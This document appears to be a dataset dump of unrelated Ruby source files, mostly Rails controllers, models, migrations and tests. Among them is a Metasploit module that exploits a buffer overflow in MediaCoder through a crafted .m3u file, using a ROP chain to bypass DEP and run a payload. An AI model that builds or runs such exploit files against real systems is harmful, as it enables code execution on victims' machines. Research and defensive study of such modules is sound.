text
stringlengths
10
2.61M
# frozen_string_literal: true module Files class Plan attr_reader :options, :attributes def initialize(attributes = {}, options = {}) @attributes = attributes || {} @options = options || {} end # int64 - Plan ID def id @attributes[:id] end # boolean - Are advanced behaviors included in plan? def advanced_behaviors @attributes[:advanced_behaviors] end # boolean - Is advanced antivirus included in plan? def antivirus_advanced @attributes[:antivirus_advanced] end # boolean - Is basic antivirus included in plan? def antivirus_basic @attributes[:antivirus_basic] end # int64 - How many audit hours included in plan? def audit_hours @attributes[:audit_hours] end # boolean - Is google authentication included in plan? def auth_google @attributes[:auth_google] end # boolean - Is oauth included in plan? def auth_oauth @attributes[:auth_oauth] end # boolean - Is custom oauth included in plan? def auth_oauth_custom @attributes[:auth_oauth_custom] end # int64 - Number of SSO, 2FA, Desktop users included in plan def auth_user_count @attributes[:auth_user_count] end # boolean - Are automations included in plan? def automations @attributes[:automations] end # boolean - If true all usernames can be used, otherwise usernames must be unique def custom_namespace @attributes[:custom_namespace] end # boolean - Custom SMTP support? def custom_smtp @attributes[:custom_smtp] end # boolean - Offers dedicated ip? def dedicated_ip @attributes[:dedicated_ip] end # int64 - Number of dedicated IPs def dedicated_ips @attributes[:dedicated_ips] end # object - Results of comparing with a different Plan def differences @attributes[:differences] end # boolean - Custom domain(s)? def domain @attributes[:domain] end # int64 - Number of custom domains def domain_count @attributes[:domain_count] end # boolean - Does the plan include E-Mail inboxes? def email_inboxes @attributes[:email_inboxes] end # boolean - Supports extended folder permissions like viewing history? def extended_folder_permissions @attributes[:extended_folder_permissions] end # boolean - Can log preservation be extended? def extended_log_retention @attributes[:extended_log_retention] end # int64 - Number of free developer accounts def free_developer_accounts @attributes[:free_developer_accounts] end # boolean - Supports connections via FTP, SFTP, and WebDAV? def ftp_sftp_webdav @attributes[:ftp_sftp_webdav] end # boolean - Full text search enabled? def full_text_search @attributes[:full_text_search] end # boolean - Global acceleration enabled? def global_acceleration @attributes[:global_acceleration] end # boolean - Support for GPG encryption? def gpg @attributes[:gpg] end # boolean - Group admin functionality enabled? def group_admins_enabled @attributes[:group_admins_enabled] end # boolean - Group notifications functionality enabled? def group_notifications @attributes[:group_notifications] end # boolean - Support for HIPAA regulation? def hipaa @attributes[:hipaa] end # boolean - HTML branding available? def html_branding @attributes[:html_branding] end # boolean - LDAP integration enabled? def ldap @attributes[:ldap] end # boolean - Does the plan offer any legal flexibility? def legal_flexibility @attributes[:legal_flexibility] end # int64 - Max number of files in a folder def max_folder_size @attributes[:max_folder_size] end # int64 - Maximum individual file size def max_individual_file_size @attributes[:max_individual_file_size] end # string - Plan name def name @attributes[:name] end # boolean - Are nested groups enabled? def nested_groups @attributes[:nested_groups] end # int64 - Number of previews available def preview_page_limit @attributes[:preview_page_limit] end # int64 - Number of storage regions included def regions_included @attributes[:regions_included] end # boolean - Remote sync with FTP available? def remote_sync_ftp @attributes[:remote_sync_ftp] end # int64 - Number of hours between remote sync def remote_sync_interval @attributes[:remote_sync_interval] end # boolean - Are other forms of remote sync available? def remote_sync_other @attributes[:remote_sync_other] end # boolean - Can sync to s3 bucket? def remote_sync_s3 @attributes[:remote_sync_s3] end # boolean - 2FA support enabled? def require_2fa @attributes[:require_2fa] end # array - Site attributes which require upgrade def site_fields_requiring_upgrade @attributes[:site_fields_requiring_upgrade] end # string - Priority of customer support def support_level @attributes[:support_level] end # string - Usage cost per GB of overage def usage_cost @attributes[:usage_cost] end # string - Usage included per month, in GB def usage_included @attributes[:usage_included] end # int64 - # of users included. 0 or -1 mean unlimited. def users @attributes[:users] end # boolean - Watermark enabled? def watermark_documents @attributes[:watermark_documents] end # boolean - Watermark enabled? def watermark_images @attributes[:watermark_images] end # boolean - Webhooks enabled? def webhooks @attributes[:webhooks] end # boolean - Webhook SNS integration enabled? def webhooks_sns @attributes[:webhooks_sns] end # boolean - Whitelabel site? def whitelabel @attributes[:whitelabel] end # string - Activation cost (upfront) def activation_cost @attributes[:activation_cost] end # string - Price annually def annually @attributes[:annually] end # string - Currency def currency @attributes[:currency] end # string - Price monthly def monthly @attributes[:monthly] end # string - Cost per additional user def user_cost @attributes[:user_cost] end # Parameters: # page - integer - Current page number. # per_page - integer - Number of records to show per page. (Max: 10,000, 1,000 or less is recommended). # action - string - Deprecated: If set to `count` returns a count of matching records rather than the records themselves. # currency - string - Currency. def self.list(params = {}, options = {}) raise InvalidParameterError.new("Bad parameter: page must be an Integer") if params.dig(:page) and !params.dig(:page).is_a?(Integer) raise InvalidParameterError.new("Bad parameter: per_page must be an Integer") if params.dig(:per_page) and !params.dig(:per_page).is_a?(Integer) raise InvalidParameterError.new("Bad parameter: action must be an String") if params.dig(:action) and !params.dig(:action).is_a?(String) raise InvalidParameterError.new("Bad parameter: currency must be an String") if params.dig(:currency) and !params.dig(:currency).is_a?(String) response, options = Api.send_request("/plans", :get, params, options) response.data.map { |object| Plan.new(object, options) } end def self.all(params = {}, options = {}) list(params, options) end end end
require "test_helper" describe RecipiesController do describe "root" do it "will return success" do get root_path must_respond_with :success end # success end # root describe "index" do it "will return success when there are recipies to display" do VCR.use_cassette("recipes") do test_params = { search_term: "bread" } get recipies_path, params: test_params must_respond_with :success end # VCR end # sucess when there are recipies it "will return not_found when there are no recipies returned to display because the search tearm has symbols or numbers in it" do # TODO: make a call with a bad search term that won't return any recipies. Need to figure out in my controller how to redirect to the root page if the request was bad... maybe check 'if @response' ? VCR.use_cassette("recipes") do test_params = { search_term: "bread#" } get recipies_path, params: test_params must_respond_with :redirect must_redirect_to root_path end # VCR end # redirects when search term has a symbol in it it "will return not_found when there are no recipies returned to display because the search tearm was empty" do VCR.use_cassette("recipes") do test_params = { search_term: "" } get recipies_path, params: test_params must_respond_with :redirect must_redirect_to root_path flash[:message].must_equal "Sorry, your search term can't be blank!" end # VCR end # redirects with empty search term end # index describe "show" do it "will respond with success when there is a recipe to show" do # TODO: Make a request with shoe_recipe and then make sure the show page shows up VCR.use_cassette("recipies") do test_params = { uri: "http://www.edamam.com/ontologies/edamam.owl#recipe_7bf4a371c6884d809682a72808da7dc2" } name = "name" get recipy_path(name), params: test_params must_respond_with :success end # VCR end # success it "will respond with not_found if the show_recipe does not return a Recipe" do # TODO: Make a request with show_recipe with a bogus uri, then the controller should check if @recipe exisits, and if it doesn't it should return not_found VCR.use_cassette("recipies") do test_params = { uri: "bogus_uri" } name = "name" get recipy_path(name), params: test_params must_respond_with :not_found end # VCR end # not_found end # show end
require 'fileutils' module Vagrant module Butcher module Helpers module KeyFiles include ::Vagrant::Butcher::Helpers::Guest def cache_dir(env) @cache_dir ||= File.expand_path(File.join(root_path(env), butcher_config(env).cache_dir)) end def guest_key_path(env) @guest_key_path ||= get_guest_key_path(env) end def key_filename(env) @key_filename ||= "#{env[:machine].name}-client.pem" end def client_key_path(env) @client_key_path ||= butcher_config(env).client_key || "#{cache_dir(env)}/#{key_filename(env)}" end def create_cache_dir(env) unless File.exists?(cache_dir(env)) env[:ui].info "Creating #{cache_dir(env)} ..." FileUtils.mkdir_p(cache_dir(env)) end end def grab_key_from_guest(env) create_cache_dir(env) unless windows?(env) machine(env).communicate.execute "chmod 0644 #{guest_key_path(env)}", :sudo => true end machine(env).communicate.download(guest_key_path(env), "#{cache_dir(env)}/#{key_filename(env)}") env[:ui].info "Saved client key to #{cache_dir(env)}/#{key_filename(env)}" end def cleanup_cache_dir(env) unless @failed_deletions key_file = "#{cache_dir(env)}/#{key_filename(env)}" File.delete(key_file) if File.exists?(key_file) Dir.delete(cache_dir(env)) if (Dir.entries(cache_dir(env)) - %w{ . .. }).empty? else env[:ui].warn "#{@failed_deletions} not butchered from the Chef Server. Client key was left at #{client_key_path(env)}" end end def copy_guest_key(env) begin grab_key_from_guest(env) rescue ::Vagrant::Errors::VagrantError => e env[:ui].error "Failed to create #{cache_dir(env)}/#{key_filename(env)}: #{e.class} - #{e}" end end end end end end
# require 'test_helper' # # class AdminsRoutesTest < ActionController::TestCase # test 'should route to list admin' do # assert_routing({ method: 'get', path: '/admins' }, { controller: 'admins', action: 'index'}) # end # # test 'should route to find an admin' do # assert_routing({ method: 'get', path: '/admins/1' }, { controller: 'admins', action: 'show', id: '1'}) # end # # test 'should route to create an admin' do # assert_routing({ method: 'post', path: '/admins' }, { controller: 'admins', action: 'create'}) # end # # test 'should route to update an admin' do # assert_routing({ method: 'put', path: '/admins/1' }, { controller: 'admins', action: 'update', id: '1'}) # end # # test 'should route to destroy an admin' do # assert_routing({ method: 'delete', path: '/admins/1' }, { controller: 'admins', action: 'destroy', id: '1'}) # end # end
require "test_helper" require 'base64' describe Rugged::Object do before do @path = File.dirname(__FILE__) + '/fixtures/testrepo.git/' @repo = Rugged::Repository.new(@path) end it "cannot lookup a non-existant object" do assert_raises Rugged::OdbError do @repo.lookup("a496071c1b46c854b31185ea97743be6a8774479") end end it "can lookup an object" do obj = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479") assert_equal :commit, obj.type assert_equal '8496071c1b46c854b31185ea97743be6a8774479', obj.oid end it "same looked up objects are the same" do obj = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479") obj2 = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479") assert_equal obj, obj2 end it "can read raw data from an object" do obj = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479") assert obj.read_raw end it "can lookup an object by revision string" do obj = @repo.rev_parse("v1.0") assert "0c37a5391bbff43c37f0d0371823a5509eed5b1d", obj.oid obj = @repo.rev_parse("v1.0^1") assert "8496071c1b46c854b31185ea97743be6a8774479", obj.oid end it "can lookup just an object's oid by revision string" do oid = @repo.rev_parse_oid("v1.0") assert "0c37a5391bbff43c37f0d0371823a5509eed5b1d", oid @repo.rev_parse_oid("v1.0^1") assert "8496071c1b46c854b31185ea97743be6a8774479", oid end end
class Admin::PrefectosController < ApplicationController layout 'admin' require_role "administrador" # GET /prefectos # GET /prefectos.xml def index @prefectos = Prefecto.paginate(:per_page => 20, :page => params[:page]) respond_to do |format| format.html # index.html.erb format.xml { render :xml => @prefectos } end end # GET /prefectos/1 # GET /prefectos/1.xml def show @prefecto = Prefecto.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @prefecto } end end # GET /prefectos/new # GET /prefectos/new.xml def new @prefecto = Prefecto.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @prefecto } end end # GET /prefectos/1/edit def edit @prefecto = Prefecto.find(params[:id]) end # POST /prefectos # POST /prefectos.xml def create @prefecto = Prefecto.new(params[:prefecto]) respond_to do |format| if @prefecto.save flash[:notice] = 'Prefecto se ha creado con exito.' format.html { redirect_to(admin_prefectos_url) } format.xml { render :xml => @prefecto, :status => :created, :location => @prefecto } else format.html { render :action => "new" } format.xml { render :xml => @prefecto.errors, :status => :unprocessable_entity } end end end # PUT /prefectos/1 # PUT /prefectos/1.xml def update @prefecto = Prefecto.find(params[:id]) respond_to do |format| if @prefecto.update_attributes(params[:prefecto]) flash[:notice] = 'Prefecto se ha actualizado con exito.' format.html { redirect_to(admin_prefectos_url) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @prefecto.errors, :status => :unprocessable_entity } end end end # DELETE /prefectos/1 # DELETE /prefectos/1.xml def destroy @prefecto = Prefecto.find(params[:id]) @prefecto.destroy respond_to do |format| format.html { redirect_to(admin_prefectos_url) } format.xml { head :ok } end end end
# Sets up the Rhouse gem environment. # Configures logging, database connection and various paths module Rhouse # Gem version VERSION = '0.0.3' # Root path of rhouse PATH = ::File.expand_path(::File.join(::File.dirname(__FILE__), *%w[..])) # Lib path LIBPATH = ::File.join( PATH, "lib" ) # Configuration path CONFPATH = ::File.join( PATH, "config" ) class << self # Holds the rhouse configuration hash attr_reader :config # Holds the environment the gem is running under attr_reader :environment # The version string for the library. def version() VERSION; end # Helper to find file from the root path def path( *args ) args.empty? ? PATH : ::File.join( PATH, args.flatten ) end # Helper to locate a file in lib directory def libpath( *args ) args.empty? ? LIBPATH : ::File.join( LIBPATH, args.flatten ) end # Helper to locate a configuration file in the config dir def confpath( *args ) args.empty? ? CONFPATH : ::File.join( CONFPATH, args.flatten ) end # Initializes the gem. Sets up logging and database connections if required def initialize( opts={} ) @config = default_config.merge( opts ) @environment = (config[:environment] || ENV['RH_ENV'] || :test).to_s establish_db_connection if @config[:requires_db] @initialized = true end public :initialize # For testing only ! def reset @logger = nil @config = nil @environment = nil @initialized = false end public :reset # Is rhouse initialized def initialized?() @initialized; end # Is the gem running in production env? def production_env?() environment == 'production'; end # Is the gem running in test env? def test_env?() environment == 'test' ; end # Connects to the pluto database def establish_db_connection return if ActiveRecord::Base.connected? || !@environment require 'active_record' database = YAML.load_file( conf_path( "database.yml" ) ) ActiveRecord::Base.colorize_logging = true ActiveRecord::Base.logger = logger # set up the AR logger before connecting logger.debug "--- Establishing database connection in '#{@environment.upcase}' environment" ActiveRecord::Base.establish_connection( database[@environment] ) end # Helper to locate a configuration file def conf_path( *args ) @conf_path ||= CONFPATH args.empty? ? @confpath : File.join( @conf_path, *args ) end # Sets up the default configuration env. # By default test env, no db connection and stdout logging def default_config { :environment => :test, :requires_db => false, :log_level => :info, :log_file => $stdout, :email_alert_level => :error } end # Helper to require all files from a given location def require_all_libs_relative_to( fname, dir = nil ) dir ||= ::File.basename(fname, '.*') search_me = ::File.expand_path( ::File.join(::File.dirname(fname), dir, '**', '*.rb')) Dir.glob(search_me).sort.each do |rb| # puts "[REQ] #{rb}" require rb end end # Sets up the rhouse logger. Using the logging gem def logger return @logger if @logger # the logger is initialized before anything else, including the database, so include it here. require "logger" @logger = Rhouse::Logger.new( { :log_file => config[:log_file], :log_level => config[:log_level], :email_alerts_to => config[:email_alerts_to], :email_alert_level => config[:email_alert_level], :additive => false } ) end # For debuging def dump logger << "-" * 22 + " RHouse configuration " + "-" * 76 + "\n" config.keys.sort{ |a,b| a.to_s <=> b.to_s }.each do |k| key = k.to_s.rjust(20) value = config[k] if value.blank? logger << "#{key} : #{value.inspect.rjust(97," ")}\n" # shows an empty hashes/arrays, nils, etc. else case value when Hash logger << "#{key} : #{(value.keys.first.to_s + ": " + value[value.keys.first].inspect).rjust(97,' ')}\n" value.keys[1..-1].each { |k| logger << " "*23 + (k.to_s + " : " + value[k].inspect).rjust(97," ") + "\n" } else logger << "#{key} : #{value.to_s.rjust(97," ")}\n" end end end logger << "-" * 120 + "\n" end end require Rhouse.libpath(*%w[core_ext active_record base]) require Rhouse.libpath(*%w[core_ext active_record connection_adapter]) require_all_libs_relative_to( File.join( File.dirname(__FILE__), %w[rhouse] ) ) end
class CreateSermons < ActiveRecord::Migration[5.0] def change create_table :sermons do |t| t.belongs_to :series, index: true t.string :title t.string :speaker t.date :sermondate t.string :audiofile t.text :desc t.timestamps end end end
class RemoveRankAndAddFaultRateFixOnTimeRateToProvider < ActiveRecord::Migration def self.up remove_column :providers, :rank add_column :providers, :fault_rate, :string add_column :providers, :fix_on_time_rate, :string end def self.down add_column :providers, :rank, :integer remove_column :providers, :fault_rate remove_column :providers, :fix_on_time_rate end end
require 'test_helper' class AuthTest < Test::Unit::TestCase context "vimeo advanced auth" do setup do @auth = Vimeo::Advanced::Auth.new("12345", "secret") end context "making api calls" do should "check an auth token" do stub_post("?format=json&api_key=12345&method=vimeo.auth.checkToken&auth_token=token&api_sig=868c600fda7509ae9d92bff9edc74a3a", "advanced/auth/check_token.json") auth = @auth.check_token("token") assert_equal "token", auth["auth"]["token"] end should "get an auth frob" do stub_post("?api_key=12345&format=json&method=vimeo.auth.getFrob&api_sig=de431996ca0bb2597d63aa2d5d3d1255", "advanced/auth/get_frob.json") frob = @auth.get_frob assert_equal "frob", frob["frob"] end should "get an auth token" do stub_post("?format=json&frob=frob&api_key=12345&method=vimeo.auth.getToken&api_sig=4f60bcf463619418baa3d97ba900f083", "advanced/auth/get_token.json") auth = @auth.get_token("frob") assert_equal "token", auth["auth"]["token"] end end end end
class RepayPreview < ActionMailer::Preview # Accessible from http://localhost:3000/rails/mailers/notifier/welcome def paid RepayMailer.with(user: User.first, extract: Extract.first).paid end end
class AddCategoryToReportingRelationship < ActiveRecord::Migration[5.1] def change add_column :reporting_relationships, :category, :string, default: 'no_cat' end end
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'MediaCoder .M3U Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability occurs when adding an .m3u, allowing arbitrary code execution under the context of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539 to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom', # Vulnerability discovery and PoC 'modpr0be <modpr0be[at]spentera.com>', # Metasploit module 'otoy <otoy[at]spentera.com>' # Metasploit module ], 'References' => [ [ 'OSVDB', '94522' ], [ 'EDB', '26403' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Platform' => 'win', 'Payload' => { 'Space' => 1200, 'BadChars' => "\x00\x5c\x40\x0d\x0a", 'DisableNops' => true, 'StackAdjustment' => -3500 }, 'Targets' => [ [ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0', { # stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll) 'Ret' => 0x6afd4435, 'Offset' => 849, 'Max' => 5000 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 24 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']) ], self.class) end def junk(n=1) return [rand_text_alpha(4).unpack("L")[0]] * n end def nops(rop=false, n=1) return rop ? [0x6ab16202] * n : [0x90909090] * n end def exploit # fixed rop from mona.py :) rop_gadgets = [ nops(true,35), # ROP NOP 0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll] 0xffffffc0, # negate will become 0x00000040 junk, 0x66d9d9ba, # NEG EAX # RETN [avutil-52.dll] 0x6ab2241d, # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll] junk(15), # reserve more junk for add esp,2c 0x1004cc03, # POP ECX # RETN [jpeg.dll] 0x6ab561b0, # ptr to &VirtualProtect() [IAT swscale-2.dll] 0x66d9feee, # MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll] 0x6ab19780, # XCHG EAX,ESI # RETN [swscale-2.dll] 0x66d929f5, # POP EAX # POP EBX # RETN [jpeg.dll] 0xfffffcc0, # negate will become 0x0000033f junk, 0x6ab3c65a, # NEG EAX # RETN [postproc-52.dll] 0x1004cc03, # POP ECX # RETN [jpeg.dll] 0xffffffff, # 0x660166e9, # INC ECX # SUB AL,0EB # RETN [libiconv-2.dll] 0x66d8ae48, # XCHG ECX,EBX # RETN [avutil-52.dll] 0x1005f6e4, # ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll] 0x6ab3d688, # POP ECX # RETN [jpeg.dll] 0x6ab4ead0, # Writable address [avutil-52.dll] 0x100444e3, # POP EDI # RETN [swscale-2.dll] nops(true), # ROP NOP [swscale-2.dll] 0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll] nops, # Regular NOPs 0x6ab01c06, # PUSH ESP# RETN [swscale-2.dll] 0x6ab28dda, # PUSHAD # RETN [swscale-2.dll] ].flatten.pack("V*") sploit = "http://" sploit << rand_text(target['Offset']) sploit << [target.ret].pack('V') sploit << rop_gadgets sploit << make_nops(16) sploit << payload.encoded sploit << rand_text(target['Max']-sploit.length) file_create(sploit) end end
class CommentsController < ApplicationController def index @comments = Comment.all end def create @comment = Comment.new(params[:comment]) @comment.user_ip = request.remote_ip if logged_in? @comment.user = current_user end @comment.save redirect_to_back_or_default root_path end def update @comment = current_user.comments.find(params[:id]) respond_to do |format| if @comment.update_attributes(params[:comment]) format.html { redirect_to root_path, notice: 'Comment was successfully updated.' } format.json { render action: 'show', handlers: :jbuilder } else format.html { render action: "edit" } format.json { render json: '', status: :unprocessable_entity } end end end def destroy @comment = Comment.find(params[:id]) @comment.destroy respond_to do |format| format.html { redirect_to root_path } end end end
class Api::UsersController < ApplicationController def show @user = User.includes(:posts_on_wall) .includes(:posts_on_wall_authors) .includes(:comments) .includes(:likes) .includes(:posts) .includes(:wall_users) .includes(:incoming_friend_requests) .includes(:outgoing_friend_requests) .includes(:friends) .find(params[:id]) if @user render :show else flash.now[:errors] = ['Cant find this user'] render json: ['Cant find this user'], status: :not_found end end def create @user = User.new(user_params) if @user.save login!(@user) render :show else flash.now[:errors] = @user.errors.full_messages render json: @user.errors.full_messages, status: 422 end end def update @user = User.find(params[:id]) if @user.update(user_params) render :show else render json: @user.errors.full_messages, status: 422 end end def destroy @user = User.find(params[:id]) if @user @user.destroy render :show else flash.now[:errors] = ['Cant find this user'] render json: ['Cant find this user'], status: 422 end end def user_params params.require(:user).permit(:first_name, :last_name, :email, :password, :gender, :birthday, :about, :education, :location, :avatar) end end
require 'spec_helper' describe 'Tasks' do let(:user) { create(:user) } it 'shows a form for new tasks' do login_as user visit '/tasks/new' expect(page).to have_field('Title') expect(page).to have_field('Deadline') expect(page).to have_field('Difficulty') expect(page).to have_field('Importance') expect(page).to have_field('Description') expect(page).to have_button('Create Task') end it 'can add a task to the database with correct fields', js: true do login_as user visit '/tasks/new' fill_in 'Title', with: 'Homework' fill_in 'Deadline', with: "2014-06-05" page.evaluate_script("$('#task_difficulty').attr('value',7)") page.evaluate_script("$('#task_importance').attr('value',8)") fill_in 'Description', with: "Science AND maths" click_on 'Select a Category' click_on '๏€•' click_on "Create Task" expect(current_path).to eq '/' expect(Task.all.count).to eq 1 expect(Task.all.last.difficulty).to eq 7 expect(Task.all.last.importance).to eq 8 expect(Task.all.last.category).to eq 5 end context 'with a task added' do before do task = create(:task, user: user) login_as user end it 'starts off uncompleted' do visit '/' checkbox = find("input[type='checkbox']") expect(checkbox).not_to be_checked end it 'should stay checked if the user has checked it', js: true do visit '/' checkbox = find("input[type='checkbox']") checkbox.set(true) checkbox.should be_checked sleep 2 visit '/' checkbox = find("input[type='checkbox']") checkbox.should be_checked end end end
class UsersController < ApplicationController def search @users = User.where("name like ?", "%#{search_params[:q]}%").order('name ASC') respond_to do |format| format.json { render json: @users } end end private def search_params params.permit(:q) end end
require 'test_helper' class UsersEditTest < ActionDispatch::IntegrationTest # test "the truth" do # assert true # end def setup @user = users( :michael ) end test "unsuccessful edit" do log_in_as(@user) get edit_user_path( @user ) assert_template 'users/edit' patch user_path( @user ), params: { user: { name: "", email: "foo@invalid", password: "foo", password_confirmation: "bar" } } assert_template 'users/edit' assert_select '#error_explanation li', count: 4 end test "successful edit with friendly forwarding" do # tries to visit the edit page, then logs in, and then checks that the user is redirected to the edit page instead of the default profile page get edit_user_path(@user) log_in_as(@user) assert_redirected_to edit_user_url(@user) follow_redirect! assert_template 'users/edit' name = "Foo Bar" email = "foo@bar.com" patch user_path(@user), params: { user: { name: name, email: email, password: "", password_confirmation: "" } } assert_not flash.empty? assert_redirected_to @user @user.reload assert_equal name, @user.name assert_equal email, @user.email end test "friendly forwarding only when needed" do get edit_user_path( @user ) log_in_as( @user ) assert_redirected_to edit_user_url( @user ) delete logout_path assert_not is_logged_in? # if we directly post the login info (without trying to access a password-protected page before that_, after login, we should be redirected to profile page, i.e. users/show) log_in_as( @user ) assert_redirected_to @user end end
require_relative('../db/sql_runner.rb') require_relative('./customer.rb') class Screening attr_accessor :show_time, :ticket_available attr_reader :id def initialize(screening) @id = screening['id'].to_i if screening['id'] @show_time = screening['show_time'] @ticket_available = screening['ticket_available'].to_i end def save() sql = "INSERT INTO screenings (show_time, ticket_available) VALUES ($1, $2) RETURNING id;" values = [@show_time, @ticket_available] @id = SqlRunner.run(sql,values)[0]['id'].to_i end def self.all() sql = "SELECT * FROM screenings" all = SqlRunner.run(sql) return all.map{|screening| Screening.new(screening)} end def self.delete_all() sql = "DELETE FROM screenings" return SqlRunner.run(sql) end def update() sql = "UPDATE screenings SET (show_time,ticket_available) = ($1, $2) WHERE id = $3" values = [@show_time, @ticket_available, @id] return SqlRunner.run(sql,values) end def delete() sql = "DELETE FROM screenings WHERE id = $1" values = [@id] return SqlRunner.run(sql,values) end def ticket_sold() @ticket_available -= 1 update() end def ticket_available?() return true if @ticket_available > 0 end def count_customer_par_show sql = "SELECT tickets.screening_id FROM tickets INNER JOIN screenings ON screenings.id = tickets.screening_id WHERE screenings.id = $1" values=[@id] result = SqlRunner.run(sql,values) return result.map{|a| a.length}.size() end def self.popular(film_id) sql = "SELECT tickets.screening_id FROM tickets INNER JOIN screenings ON screenings.id = tickets.screening_id INNER JOIN films ON films.id = tickets.film_id WHERE tickets.film_id = $1 GROUP BY tickets.screening_id ORDER BY COUNT(tickets.screening_id) DESC LIMIT 1" values=[film_id] all = SqlRunner.run(sql, values) result = all.map{|screening| Ticket.new(screening)} catch_the_id = result.first.screening_id return Screening.find_by_id(catch_the_id) end def self.find_by_id(id) sql = "SELECT show_time FROM screenings WHERE id = $1" values = [id] result = SqlRunner.run(sql,values) hash_of_result = result.map{|screen| Screening.new(screen)} return hash_of_result.first.show_time end end
class Comment < ApplicationRecord validates :user_id, presence: true validates :article_id, presence: true validates :content, presence: true, length: { maximum: 150 } belongs_to :user belongs_to :article has_many :articles, as: :attachment, dependent: :nullify def as_json(options = {}) super(options.merge(include: [:user, :article])) end end
class AbstractsController < ApplicationController def new @abstract = Abstract.new @address = Address.new end def create abstract = Abstract.new(abstract_params) if abstract.save flash[:success] = t('abstract.successful_creation') else flash[:error] = abstract.errors.full_messages end if Date.current > Date.new(2015, 04, 15) flash[:error] ||= [] flash[:error] << "#{t('abstract.delay_expired_thanks')} #{t('abstract.delay_expired')}" end redirect_to action: :new end def abstract_params params.require(:abstract).permit(:author_id, :title, :text, :authors, :street, :region, :zip_code, :city, :country, :name, :category) end end
require 'rails_helper' RSpec.describe SessionsController, type: :controller do describe 'GET #new' do context 'when logged' do let(:user) { create(:user) } before { session[:user_id] = user.id } it 'redirect to root_Path' do get :new expect(response).to redirect_to(root_path) end end context 'when loggin' do it { expect(get :new).to be_ok } end end describe 'POST #create' do let!(:user) { create(:user) } let(:user_params) do { user: { email: user.email, password: user.password } } end let(:wrong_params) do { user: { email: user.email, password: '11111' } } end it 'new session' do post :create, params: user_params expect(response).to redirect_to(root_path) end it 'return to new session' do post :create, params: wrong_params expect(response).to redirect_to(new_session_path) end end describe 'DELETE #destroy' do let(:user) { create(:user) } before { session[:user_id] = user.id } it 'return to new session' do delete :destroy, params: { id: user.id } expect(response).to redirect_to(new_session_path) end end end
class ChangedMenusModifiedKlass < ActiveRecord::Migration def self.up change_column :menus, :klass, :string end def self.down change_column :menus, :klass, :integer, :limit=>nil, :default=>nil end end
module Tephue class Configuration attr_accessor :secure_hasher def initialize @secure_hasher = BcryptHasher end # Return the map of entities -> repositories # @return Hash<Object,Base> def repositories @repositories ||= {} end # Register a repository to be used by an entity. # @param key # @param [Base] repo def register_repo(key, repo) repositories[key] = repo end # Retrieve the repository registered to this entity # @param key # @return [Base] The registered repository def repo_for(key) repositories[key] end end end
module SDC # Script routines for easier readability, directly referencing other methods def self.key_pressed?(key, override_text_input: false) return @window.has_focus? && (override_text_input || !@text_input) && SDC::EventKey.const_defined?(key) && SDC::EventKey.is_pressed?(SDC::EventKey.const_get(key)) end def self.key(key) return SDC::EventKey.const_get(key) if SDC::EventKey.const_defined?(key) end def self.mouse_button_pressed?(button) return @window.has_focus? && SDC::EventMouse.const_defined?(button) && SDC::EventMouse.is_button_pressed?(SDC::EventMouse.const_get(button)) end def self.mouse_button(button) return SDC::EventMouse.const_get(button) if SDC::EventMouse.const_defined?(button) end # Returns an integer array with two elements of the pixel coordinates. # Therefore, window scaling WILL change the dimensions of the area the mouse can operate in. def self.get_mouse_pos return SDC::EventMouse.get_position(SDC.window) end # Returns the mouse coordinate for the current view. # If you want to check for another view, you need to activate it first or execute any mouse check methods in a view block. def self.get_mouse_coords return SDC::EventMouse.get_coordinates(SDC.window) end def self.get_mouse_point return SDC::CollisionShapePoint.new(self.get_mouse_coords) end def self.mouse_touching?(shape, offset: SDC.xy) return SDC::Collider.test(self.get_mouse_point, SDC.xy, shape, offset) end def self.right_klick? return self.mouse_button_pressed?(:Right) end def self.left_klick? return self.mouse_button_pressed?(:Left) end end
require 'spec_helper' describe PushWoosher::Device::Base do let(:token) { SecureRandom.hex } let(:hwid) { SecureRandom.hex } let(:options) { { token: token, hwid: hwid } } subject { described_class.new(options) } it { should respond_to(:token) } it { should respond_to(:hwid) } it { should respond_to(:device_type) } context 'requests hashes' do let(:device_type) { 1 } before { allow(subject).to receive(:device_type).and_return(device_type) } describe '#register_request_hash' do let(:register_hash) do { push_token: token, hwid: hwid, timezone: 0, device_type: device_type } end its(:register_request_hash) { should eq register_hash } end describe '#unregister_request_hash' do let(:unregister_hash) { { hwid: hwid } } its(:unregister_request_hash) { should eq unregister_hash } end end end
class CreateAddresses < ActiveRecord::Migration def change create_table :addresses, :id => false do |t| t.uuid :id, :primary_key => true, default: "uuid_generate_v4()" t.string :location t.string :phone t.string :name t.string :zip_code t.boolean :default t.uuid :developer_id t.timestamps end end end
class Question < ActiveRecord::Base belongs_to :user belongs_to :category has_many :answers validates :title, :detail, :category_id, presence: true def num_answers answers.size end end
